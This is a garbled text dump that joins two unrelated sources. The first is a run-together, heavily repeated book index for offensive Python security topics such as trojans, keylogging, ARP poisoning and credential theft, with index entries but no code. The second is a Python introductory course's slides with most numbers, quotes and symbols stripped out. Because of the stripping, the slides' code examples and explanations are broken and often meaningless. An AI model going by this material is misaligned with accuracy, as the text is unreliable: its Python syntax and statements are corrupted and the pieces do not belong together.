creating tcp proxieskicking the tireskicking the tiresbuilding tcp proxybuilding tcp proxybuilding tcp proxy hex dumping functionbuilding tcp proxy proxy_handler functionbuilding tcp proxy reasons forkicking the tires testingbuilding tcp proxy creating tcp serverstcp server creating udp clientstcp client netcat-like functionalitytcp server (see netcat-like functionalityssh tunnelingkicking the tireskicking the tireskicking the tireskicking the tiresssh tunnelingssh tunnelingssh tunneling forwardkicking the tireskicking the tires reversekicking the tiresssh tunnelingssh tunneling testingssh tunneling ssh with paramikossh with paramikossh with paramikossh with paramikossh with paramikossh with paramikossh with paramiko creating ssh serverssh with paramiko installing paramikossh with paramiko key authenticationssh with paramiko running commands on windows client over sshssh with paramiko testingssh with paramiko network sniffersthe networkraw sockets and sniffingthe networkraw sockets and sniffingthe networkraw sockets and sniffingpacket sniffing on windows and linuxpacket sniffing on windows and linuxpacket sniffing on windows and linuxdecoding the ip layerdecoding the ip layerdecoding the ip layerdecoding the ip layerkicking the tireskicking the tireskicking the tiresdecoding icmpdecoding icmpdecoding icmpdecoding icmp
7,260
icmp message decoding routinekicking the tireskicking the tireskicking the tiresdecoding icmpdecoding icmpdecoding icmpdecoding icmp destination unreachable messagekicking the tiresdecoding icmp length calculationdecoding icmp message elementskicking the tires sending udp datagrams and interpreting resultsdecoding icmp testingdecoding icmp ip header decoding routinepacket sniffing on windows and linuxdecoding the ip layerdecoding the ip layerdecoding the ip layerdecoding the ip layer avoiding bit manipulationdecoding the ip layer human-readable protocoldecoding the ip layer testingdecoding the ip layer typical ipv header structuredecoding the ip layer promiscuous modepacket sniffing on windows and linux setting up raw socket snifferpacket sniffing on windows and linux windows versus linuxthe networkraw sockets and sniffing __new__ methoddecoding the ip layer offensive forensics automationautomating offensive forensicsautomating offensive forensicsautomating offensive forensicsgrabbing password hashesdirect code injection direct code injectiondirect code injection installing volatilityautomating offensive forensics profilesautomating offensive forensics recovering password hashesgrabbing password hashes online resourcessetting up your python environmentinstalling kali linuxwingidethe networkbasicsssh with paramikossh with paramikothe networkraw sockets and sniffingpacket sniffing on windows and linuxkicking the tiresowning the network with scapyowning the network with scapypcap processingpcap processingkicking the tireskicking the tiresbrute-forcing html form authenticationkicking the tiresextending burp proxyextending burp proxyextending burp proxybing for burpgithub command and controlgithub command and controlbuilding github-aware trojanhacking python' import functionalitykeylogging for fun and keystrokestaking screenshotspythonic shellcode executioncreating the serverwindows privilege escalationwindows privilege escalationcreating process monitorcreating process
7,261
code injectiondirect code injection bing api keysbing for burp burpextending burp proxy cain and abelkicking the tires carlos perezkicking the tires creating basic structure for repogithub command and control dirbuster projectkicking the tires el jefe projectcreating process monitor facial detection codepcap processing generating metasploit payloadspythonic shellcode execution hacking python import functionalityhacking python' import functionality hussam khraisssh with paramiko immunity debuggerdirect code injection input/output control (ioctl)packet sniffing on windows and linux joomla administrator login formbrute-forcing html form authentication jythonextending burp proxy kali linuxinstalling kali linux messagebox shellcodedirect code injection netaddr modulekicking the tires opencvpcap processing paramikossh with paramiko portswigger web securityextending burp proxy privilege escalation example servicewindows privilege escalation py exebuilding github-aware trojan pycrypto packagecreating the server pyhook librarykeylogging for fun and keystrokes python github api librarygithub command and control python wmi pagecreating process monitor pywin installerwindows privilege escalation scapyowning the network with scapyowning the network with scapy socket modulethe networkbasics
7,262
vmware playersetting up your python environment volatility frameworkautomating offensive forensics win _process class documentationprocess monitoring with wmi windows gditaking screenshots wingidewingide wiresharkthe networkraw sockets and sniffing opencvpcap processingpcap processing os walk functionmapping open source web app installations owned flagman-in-the-browser (kind ofp packet capture file processingkicking the tires (see pcap processingpacket show(functionstealing email credentials paramikossh with paramikossh with paramikossh with paramikossh with paramikossh with paramikossh with paramiko creating ssh serverssh with paramiko installingssh with paramiko running commands on windows client over sshssh with paramiko ssh key authenticationssh with paramiko testingssh with paramiko password-guessing wordlistturning website content into password goldturning website content into password goldturning website content into password goldturning website content into password goldturning website content into password gold converting selected http traffic into wordlistturning website content into password gold functionality to display wordlistturning website content into password gold testingturning website content into password goldturning website content into password gold payloads tabburpkicking the tireskicking the tires pcap (packet capture fileprocessingarp cache poisoning with scapykicking the tireskicking the tirespcap processingpcap processingpcap processingpcap processing
7,263
adding supporting functionspcap processing arp cache poisoning resultsarp cache poisoning with scapy coding processing scriptpcap processing image carving scriptkicking the tires testingpcap processing perezcarloskicking the tires pip package managerinstalling kali linux pop credentialsstealingowning the network with scapystealing email credentials populate_offsets functiongrabbing password hashes port unreachable errorkicking the tires portswigger web securityextending burp proxy positions tabburpkicking the tireskicking the tires post_to_tumblr functionie com automation for exfiltration privilege escalationwindows privilege escalationwindows privilege escalationwindows privilege escalationcreating process monitorcreating process monitorprocess monitoring with wmiprocess monitoring with wmiwindows token privilegeswindows token privilegeswinning the racewinning the racewinning the racekicking the tires code injectionkicking the tires installing example servicewindows privilege escalation installing librarieswindows privilege escalation process monitoringcreating process monitorcreating process monitorprocess monitoring with wmi testingprocess monitoring with wmi with wmicreating process monitor token privilegesprocess monitoring with wmiwindows token privilegeswindows token privileges automatically retrieving enabled privilegeswindows token privileges outputting and loggingwindows token privileges winning race against code executionwinning the racewinning the racewinning the race creating file monitorwinning the race testingwinning the race
7,264
process monitoringcreating process monitorcreating process monitorprocess monitoring with wmi winning race against code executioncreating process monitorprocess monitoring with wmi testingprocess monitoring with wmi with wmicreating process monitor process_watcher functionprocess monitoring with wmi --profile flagautomating offensive forensics proxy tabburpkicking the tireskicking the tires proxy_handler functionbuilding tcp proxy pslist classdirect code injection py exebuilding github-aware trojan pycrypto packagecreating the serverie com automation for exfiltration pyhook librarykeylogging for fun and keystrokessandbox detection python github api librarygithub command and control pywin installerwindows privilege escalation queue objectsmapping open source web app installationsbrute-forcing directories and file locations random_sleep functionie com automation for exfiltration readdirectorychangesw functionwinning the race receive_from functionbuilding tcp proxy recvfrom(functiontcp client registerintruderpayloadgeneratorfactory functionburp fuzzing registryapi classgrabbing password hashes repeater toolburpburp fuzzing request classthe socket library of the weburllib request_handler functionbuilding tcp proxy request_port_forward functionssh tunneling reset functionburp fuzzing
7,265
restore_target functionarp cache poisoning with scapy reverse ssh tunnelingkicking the tiresssh tunnelingssh tunneling reverse_forward_tunnel functionssh tunneling run functioncreating modules sandbox detectionkicking the tires scapy libraryowning the network with scapyowning the network with scapyowning the network with scapyowning the network with scapystealing email credentialsstealing email credentialsarp cache poisoning with scapyarp cache poisoning with scapyarp cache poisoning with scapyarp cache poisoning with scapyarp cache poisoning with scapyarp cache poisoning with scapykicking the tirespcap processingpcap processingpcap processingpcap processing arp cache poisoningarp cache poisoning with scapyarp cache poisoning with scapyarp cache poisoning with scapyarp cache poisoning with scapyarp cache poisoning with scapy adding supporting functionsarp cache poisoning with scapy coding poisoning scriptarp cache poisoning with scapy inspecting cachearp cache poisoning with scapy testingarp cache poisoning with scapy installingowning the network with scapy pcap processingarp cache poisoning with scapykicking the tirespcap processingpcap processingpcap processingpcap processing adding facial detection codepcap processing adding supporting functionspcap processing arp cache poisoning resultsarp cache poisoning with scapy coding processing scriptpcap processing image carving scriptkicking the tires testingpcap processing stealing email credentialsowning the network with scapyowning the network with scapystealing email credentialsstealing email credentials applying filter for common mail portsstealing email credentials creating simple snifferowning the network with scapy testingstealing email credentials
7,266
screenshotskicking the tires sebackupprivilege privilegewindows token privileges secure shellssh with paramiko (see sshsedebugprivilege privilegewindows token privileges selectobject functiontaking screenshots seloaddriver privilegewindows token privilegeswindows token privileges sendto(functiontcp client server_loop functionreplacing netcat setwindowshookex functionkeylogging for fun and keystrokes shellcode executiontaking screenshots simplehttpserver modulepythonic shellcode execution site map tabburpturning website content into password goldkicking the tires smtp credentialsstealingowning the network with scapystealing email credentials sniff functionowning the network with scapy socket modulethe networkbasicsthe networkbasicstcp clienttcp servertcp serverkicking the tires building tcp proxieskicking the tires creating tcp clientsthe networkbasics creating tcp serverstcp server creating udp clientstcp client netcat-like functionalitytcp server sock_dgram parametertcp client sock_stream parameterthe networkbasics ssh (secure shell)ssh with paramikossh with paramikossh with paramikossh with paramikossh with paramikossh with paramikokicking the tireskicking the tireskicking the tireskicking the tiresssh tunnelingssh tunnelingssh tunneling
7,267
tunnelingssh tunnelingssh tunneling forwardkicking the tireskicking the tires reversekicking the tiresssh tunnelingssh tunneling testingssh tunneling with paramikossh with paramikossh with paramikossh with paramikossh with paramikossh with paramikossh with paramiko creating ssh serverssh with paramiko installing paramikossh with paramiko key authenticationssh with paramiko running commands on windows client over sshssh with paramiko testingssh with paramiko ssh_command functionssh with paramiko stack data tabwingidewingide start_monitor functionwinning the race store parameterstealing email credentials store_module_result functionbuilding github-aware trojan strip functionturning website content into password gold subprocess libraryreplacing netcat svndiggerkicking the tires tagstripper classturning website content into password gold tag_results dictionarybrute-forcing html form authentication target tabburpkicking the tiresturning website content into password goldturning website content into password gold tcp clientscreatingthe networkbasics tcp proxieskicking the tireskicking the tiresbuilding tcp proxybuilding tcp proxybuilding tcp proxy
7,268
hex dumping functionbuilding tcp proxy proxy_handler functionbuilding tcp proxy reasons for buildingkicking the tires testingbuilding tcp proxy tcp serverscreatingtcp server tcpserver classman-in-the-browser (kind oftest_remote functionmapping open source web app installations token privilegesprocess monitoring with wmiwindows token privilegeswindows token privileges automatically retrieving enabled privilegeswindows token privileges outputting and loggingwindows token privileges transport methodssh tunneling trojansgithub command and controlgithub command and controlcreating modulestrojan configurationbuilding github-aware trojanhacking python' import functionalityhacking python' import functionalitykicking the tirescommon trojaning tasks on windowskeylogging for fun and keystrokeskicking the tirestaking screenshotskicking the tires github-awaregithub command and controlgithub command and controlcreating modulestrojan configurationbuilding github-aware trojanhacking python' import functionalityhacking python' import functionalitykicking the tires account setupgithub command and control buildingbuilding github-aware trojan configuringtrojan configuration creating modulescreating modules hacking import functionalityhacking python' import functionality improvements and enhancements tokicking the tires testinghacking python' import functionality windows taskscommon trojaning tasks on windowskeylogging for fun and keystrokeskicking the tirestaking screenshotskicking the tires keyloggingkeylogging for fun and keystrokes sandbox detectionkicking the tires screenshotskicking the tires shellcode executiontaking screenshots
7,269
start implementation in december by guido van rossum (cwipython unicode support garbage collector development process more community oriented python not backwards compatible most popular programming language (tiobe indexrecommendation for scientific programming (nature newsnpg current versionpython python is out of support! member of the helmholtz association slide
7,270
software principles that influence the design of pythonbeautiful is better than ugly explicit is better than implicit simple is better than complex complex is better than complicated flat is better than nested sparse is better than dense readability counts special cases aren' special enough to break the rules although practicality beats purity errors should never pass silently unless explicitly silenced member of the helmholtz association slide
7,271
for user programspython is fast enoughmost parts of python are written in for compute intensive algorithmsfortrancc+might be better performance-critical parts can be re-implemented in / +if necessary first analysethen optimisemember of the helmholtz association slide
7,272
hello_world py !usr bin env python this is commentary print hello world python hello_world py hello world chmod hello_world py hello_world py hello world member of the helmholtz association slide
7,273
hello_user py !usr bin env python name input what ' your name print hello name hello_user py what your name rebecca hello rebecca member of the helmholtz association slide
7,274
strong typingobject is of exactly one typea string is always stringan integer always an integer counterexamplesphpjavascriptcchar can be interpreted as shortvoid can be everything dynamic typingno variable declaration variable names can be assigned to different data types in the course of program an object' attributes are checked only at run time duck typing (an object is defined by its methods and attributeswhen see bird that walks like duck and swims like duck and quacks like ducki call that bird duck james whitcomb riley member of the helmholtz association slide
7,275
types py !usr bin env python number print number type number )print number number print number type number )print number traceback most recent call last )file types py line in print number typeerror can only concatenate str not int to str member of the helmholtz association slide
7,276
the interpreter can be started in interactive modepython python default mar : : gcc on linux type help copyright credits or license for more information print hello world hello world print member of the helmholtz association slide
7,277
integrated development environment part of the python installation member of the helmholtz association slide
7,278
online help in the interpreterhelp()general python help help(obj)help regarding an objecte function or module dir (all used names dir(obj)all attributes of an object official documentationmember of the helmholtz association slide
7,279
help dir help on built in function dir dir (__builtins__ __doc__ __file__ __name__ ' 'help help on int object member of the helmholtz association slide
7,280
python shebang idle cmd print cmd (syntaxinput cmd (syntaxunicode integer type #!/usr/bin/python #!/usr/bin/python idle idle print print(raw_input(input(uall strings int/long int (infinitehints in each = linux specific member of the helmholtz association python slide
7,281
introduction data types control statements functions input/output errors and exceptions data types ii object oriented programming modules and packages advanced techniques tools regular expressions (optionalsummary and outlook member of the helmholtz association slide
7,282
int integer numbers (infinitefloat corresponds to double in complex complex numbers is the imaginary unita member of the helmholtz association slide
7,283
basic arithmeticshintpython / python / div and modulo operator/divmod(xyabsolute valueabs(xroundinground(xconversionint(xfloat(xcomplex(re [im= ]conjugate of complex numberx conjugate(powerx * pow(xyresult of composition of different data types is of the "biggerdata type member of the helmholtz association slide
7,284
print bin ( bin ( ) ~ - < pow ( , > print bin ( bin ( > ) operationsandx orx exclusive or (xorx invert~ shift right bitsx > shift left bitsx < use bin(xto get binary representation string of member of the helmholtz association slide
7,285
data typestr 'spams "spammultiline stringss """spam""no interpretation of escape sequencess "sp\namgenerate strings from other data typesstr( ""hello world ""print hello world print sp nam sp am print sp nam sp nam member of the helmholtz association or print (sp \nam "slide
7,286
count appearance of substringss count(sub [start[end]]begins/ends with substrings startswith(sub[start[end]] endswith(sub[start[end]]all capital/lowercase letterss upper( lower(remove whitespaces strip([chars]split at substrings split([sub [,maxsplit]]find position of substrings index(sub[start[end]]replace substrings replace(oldnew[count]more methodshelp(strdir(strmember of the helmholtz association slide
7,287
data typelist [ "spam" [append an elements append(xextend with second lists extend( count appearance of an elements count(xposition of an elements index( [min[max]]insert element at positions insert(ixremove and return element at positions pop([ ]delete elements remove(xreverse lists reverse(sorts sort([cmp[key[reverse]]]sum of the elementssum(smember of the helmholtz association slide
7,288
data typetuple "spam" ( "spam" constant list count appearance of an elements count(xposition of an elements index( [min[max]]sum of the elementssum(smember of the helmholtz association slide
7,289
data typetuple "spam" ( "spam" constant list count appearance of an elements count(xposition of an elements index( [min[max]]sum of the elementssum(smultidimensional tuples and lists list and tuple can be nested (mixed) =([ , , ,( , , ) ([ ( ) [ ][ ]= ([ ( )member of the helmholtz association slide
7,290
lists are mutable strings and tuples are immutable no assignment [ino appending and removing of elements functions like upper(return new strings spam upper ( spam spam member of the helmholtz association slide
7,291
stringslists and tuples have much in commonthey are sequences does/doesn' contain an elementx in not in concatenate sequencess multiply sequencesn -th elements[ii-th to last elements[-isubsequence (slice) [ :jwith step size ks[ : :ksubsequence (slicefrom beginning/to ends[:-is[ : [:length (number of elements)len(ssmallest/largest elementmin(smax(sassignments(abcs [ [ [ member of the helmholtz association slide
7,292
positive index element negative index - - - - - - - kurs python kurs kurs [ : kurs [ : kurs [ kurs - - kur kurs - :kurs kurs - - - no member of the helmholtz association slide - - - -
7,293
data type booltrue false values that are evaluated to false none (data type nonetype false (in every numerical data typeempty stringslists and tuples[(empty dictionaries{empty sets set(all other objects of built-in data types are evaluated to true bool ([ ]true bool false member of the helmholtz association slide
7,294
every object name is reference to this objectan assignment to new name creates an additional reference to this object hintcopy list with [:or list( operator is compares two references (identity)operator =compares the contents of two objects assignmentdifferent behavior depending on object type stringsnumbers (simple data types)create new object with new value listsdictionariesthe original object will be changed member of the helmholtz association slide
7,295
= = is true = is false member of the helmholtz association slide
7,296
= = is true = is false member of the helmholtz association slide
7,297
= = is true = is false member of the helmholtz association slide
7,298
= = is true = is false [ [ [ [ member of the helmholtz association slide
7,299
= = is true = is false [ [ [ [ member of the helmholtz association slide